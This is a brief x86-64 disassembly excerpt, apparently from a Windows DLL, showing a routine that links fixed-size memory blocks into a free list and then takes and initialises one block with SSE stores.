mov r9d, 0x2a7
mov rax, qword [0x18008e4c0]
mov qword [rdx + 8], rax
lea rax, [rdx + 0xff60]
mov qword [0x18008e4c0], rdx
mov qword [rcx], r8
lea rcx, [rcx - 0x60]
mov r8, rax
sub rax, 0x60
sub r9, 1
jne 0x180017b02
mov qword [rdx + 0x10], r8
mov rax, qword [rdx + 0x10]
cmp rax, rdi
jb 0x180017b51
cmp rax, rsi
ja 0x180017b51
mov rcx, qword [rax + 0x48]
movdqa xmm0, xmmword [0x18005c6c0]
mov qword [rdx + 0x10], rcx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
jmp 0x180017b53
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret